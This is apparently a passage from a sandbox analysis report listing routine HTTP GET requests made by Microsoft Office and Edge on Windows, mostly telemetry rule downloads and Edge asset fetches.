Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730771192&P2=404&P3=2&P4=kuWS0J21qQmRxU9DHUUUkzlzxAda6i%2f2xks4sl7qzzoflpI020ekGIcuVRaa%2f1k%2f%2fzQESq7WGD895S9brFGKHw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: 7xqCS82/LBxzhfZTwf1aWqSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
